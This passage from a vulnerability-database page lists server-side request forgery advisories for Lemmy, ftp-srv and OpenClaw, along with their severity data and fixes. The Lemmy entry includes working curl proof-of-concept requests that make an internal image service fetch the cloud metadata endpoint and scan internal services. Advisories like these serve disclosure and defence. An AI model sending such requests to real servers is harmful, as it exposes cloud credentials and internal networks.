      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JVXV-2JJP-JXC3

Vulnerability from github – Published: 2026-03-04 20:55 – Updated: 2026-03-06 22:44
VLAI
Summary
Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint
Details

Summary

The GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs.

Affected code

crates/routes/src/images/download.rs, lines 17-40 (get_image function):

pub async fn get_image(
  filename: Path<String>,
  Query(params): Query<ImageGetParams>,
  req: HttpRequest,
  context: Data<LemmyContext>,
) -> LemmyResult<HttpResponse> {
  let name = &filename.into_inner();
  let pictrs_url = context.settings().pictrs()?.url;
  let processed_url = if params.file_type.is_none() && params.max_size.is_none() {
    format!("{}image/original/{}", pictrs_url, name)
  } else {
    let file_type = file_type(params.file_type, name);
    let mut url = format!("{}image/process.{}?src={}", pictrs_url, file_type, name);
    // ...
  };
  do_get_image(processed_url, req, &context).await
}

The file_type parameter (ImageGetParams.file_type: Option<String>) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's /image/process.{ext} endpoint supports a ?proxy={url} parameter for fetching remote images, an attacker can inject ?proxy=... via file_type to make pict-rs fetch arbitrary URLs.

This endpoint does not require authentication (no LocalUserView extractor).

PoC

# Basic SSRF - make pict-rs fetch AWS metadata endpoint
# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data&x=
# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data&x=?src=anything

curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'

# Scan internal services on the Docker network
curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'

# The same issue exists in the image_proxy endpoint, but it requires the
# proxy URL to exist in the remote_image table (RemoteImage::validate check),
# making it harder to exploit.

The response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.

Impact

An unauthenticated attacker can: - Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service - Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.) - Bypass the RemoteImage::validate() check that protects the image_proxy endpoint

Suggested Fix

Validate the file_type parameter to only allow alphanumeric characters:

fn file_type(file_type: Option<String>, name: &str) -> String {
  let ft = file_type
    .unwrap_or_else(|| name.split('.').next_back().unwrap_or("jpg").to_string());
  if ft.chars().all(|c| c.is_alphanumeric()) {
    ft
  } else {
    "jpg".to_string()
  }
}
Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.19.15"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "lemmy_routes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.19.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:55:00Z",
    "nvd_published_at": "2026-03-06T18:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `GET /api/v4/image/{filename}` endpoint is vulnerable to unauthenticated SSRF through parameter injection in the `file_type` query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the `proxy` parameter which causes pict-rs to fetch arbitrary URLs.\n\n## Affected code\n\n`crates/routes/src/images/download.rs`, lines 17-40 (`get_image` function):\n\n```rust\npub async fn get_image(\n  filename: Path\u003cString\u003e,\n  Query(params): Query\u003cImageGetParams\u003e,\n  req: HttpRequest,\n  context: Data\u003cLemmyContext\u003e,\n) -\u003e LemmyResult\u003cHttpResponse\u003e {\n  let name = \u0026filename.into_inner();\n  let pictrs_url = context.settings().pictrs()?.url;\n  let processed_url = if params.file_type.is_none() \u0026\u0026 params.max_size.is_none() {\n    format!(\"{}image/original/{}\", pictrs_url, name)\n  } else {\n    let file_type = file_type(params.file_type, name);\n    let mut url = format!(\"{}image/process.{}?src={}\", pictrs_url, file_type, name);\n    // ...\n  };\n  do_get_image(processed_url, req, \u0026context).await\n}\n```\n\nThe `file_type` parameter (`ImageGetParams.file_type: Option\u003cString\u003e`) is directly interpolated into the URL string without any validation or encoding. Since pict-rs\u0027s `/image/process.{ext}` endpoint supports a `?proxy={url}` parameter for fetching remote images, an attacker can inject `?proxy=...` via `file_type` to make pict-rs fetch arbitrary URLs.\n\nThis endpoint does not require authentication (no `LocalUserView` extractor).\n\n## PoC\n\n```bash\n# Basic SSRF - make pict-rs fetch AWS metadata endpoint\n# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data\u0026x=\n# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data\u0026x=?src=anything\n\ncurl -v \u0027https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D\u0027\n\n# Scan internal services on the Docker network\ncurl -v \u0027https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D\u0027\n\n# The same issue exists in the image_proxy endpoint, but it requires the\n# proxy URL to exist in the remote_image table (RemoteImage::validate check),\n# making it harder to exploit.\n```\n\nThe response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.\n\n## Impact\n\nAn unauthenticated attacker can:\n- Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service\n- Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)\n- Bypass the `RemoteImage::validate()` check that protects the `image_proxy` endpoint\n\n## Suggested Fix\n\nValidate the `file_type` parameter to only allow alphanumeric characters:\n\n```rust\nfn file_type(file_type: Option\u003cString\u003e, name: \u0026str) -\u003e String {\n  let ft = file_type\n    .unwrap_or_else(|| name.split(\u0027.\u0027).next_back().unwrap_or(\"jpg\").to_string());\n  if ft.chars().all(|c| c.is_alphanumeric()) {\n    ft\n  } else {\n    \"jpg\".to_string()\n  }\n}\n```",
  "id": "GHSA-jvxv-2jjp-jxc3",
  "modified": "2026-03-06T22:44:31Z",
  "published": "2026-03-04T20:55:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LemmyNet/lemmy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint"
}

GHSA-JW37-5GQR-CF9J

Vulnerability from github – Published: 2020-08-17 21:44 – Updated: 2021-01-12 19:30
VLAI
Summary
Server-Side Request Forgery in ftp-srv
Details

Background

The FTP protocol creates two connections, one for commands and one for transferring data. This second data connection can be created in two ways, on the server by sending the PASV command, or on the client by sending the PORT command.

The PORT command sends the IP and port for the server to connect to the client with.

Issue

Since the client can send an arbitrary IP with the PORT command, this can be used to cause the server to make a connection elsewhere.

Patches

  • fix: disallow PORT connections to alternate hosts: e449e75219d918c400dec65b4b0759f60476abca

Deprecation notices have been published for older versions.

Workarounds

Blacklisting the FTP Command PORT will prevent the server from exposing this behaviour through active connections until a fix is applied.

const ftp = new FtpSrv({
  blacklist: ['PORT']
});

References

https://www.npmjs.com/advisories/1445

Credits

Thank you to; @trs for fixing it @andreeleuterio for reporting it to us for an anonymous user (Vincent) through the NPM platform @quiquelhappy for bringing it to our attention after it slipped through the cracks during Christmas

For more information

If you have any questions or comments about this advisory: * Open an issue at https://github.com/autovance/ftp-srv * Email us directly; security@autovance.com

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ftp-srv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "2.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ftp-srv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ftp-srv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-17T21:42:37Z",
    "nvd_published_at": "2020-08-17T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Background\n\nThe FTP protocol creates two connections, one for commands and one for transferring data.\nThis second data connection can be created in two ways, on the server by sending the PASV command, or on the client by sending the PORT command.\n\nThe PORT command sends the IP and port for the server to connect to the client with.\n\n### Issue\nSince the client can send an arbitrary IP with the PORT command, this can be used to cause the server to make a connection elsewhere.\n\n### Patches\n\n* _fix: disallow PORT connections to alternate hosts_: e449e75219d918c400dec65b4b0759f60476abca\n\nDeprecation notices have been published for older versions.\n\n### Workarounds\n\nBlacklisting the FTP Command `PORT` will prevent the server from exposing this behaviour through active connections until a fix is applied.\n```js\nconst ftp = new FtpSrv({\n  blacklist: [\u0027PORT\u0027]\n});\n```\n\n### References\nhttps://www.npmjs.com/advisories/1445\n\n### Credits\n\nThank you to;\n@trs for fixing it\n@andreeleuterio for reporting it to us for an anonymous user (Vincent) through the NPM platform\n@quiquelhappy for bringing it to our attention after it slipped through the cracks during Christmas\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue at [https://github.com/autovance/ftp-srv](https://github.com/autovance/ftp-srv)\n* Email us directly; security@autovance.com",
  "id": "GHSA-jw37-5gqr-cf9j",
  "modified": "2021-01-12T19:30:42Z",
  "published": "2020-08-17T21:44:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/autovance/ftp-srv/security/advisories/GHSA-jw37-5gqr-cf9j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/autovance/ftp-srv/commit/5508c2346cf23b24c20070ff2e8a47c647d3d5b5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/autovance/ftp-srv/commit/e449e75219d918c400dec65b4b0759f60476abca"
    },
    {
      "type": "WEB",
      "url": "https://github.com/autovance/ftp-srv/commit/fb32b012c3baf48ee804e1dc36544cbba70b00d3"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1445"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/ftp-srv"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in ftp-srv"
}

GHSA-JW7V-5MP7-GHGM

Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31
VLAI
Details

OpenClaw before 2026.6.6 contains a policy bypass vulnerability in browser CDP discovery that accepts blocked WebSocket URLs. Attackers with lower-trust access can reach network destinations that should have been blocked by OpenClaw policy when the affected feature is enabled.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-62197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T22:16:51Z",
    "severity": "MODERATE"
  },
  "details": "OpenClaw before 2026.6.6 contains a policy bypass vulnerability in browser CDP discovery that accepts blocked WebSocket URLs. Attackers with lower-trust access can reach network destinations that should have been blocked by OpenClaw policy when the affected feature is enabled.",
  "id": "GHSA-jw7v-5mp7-ghgm",
  "modified": "2026-07-14T00:31:04Z",
  "published": "2026-07-14T00:31:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3x84-qq85-fj65"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62197"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-policy-bypass-via-cdp-discovery"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list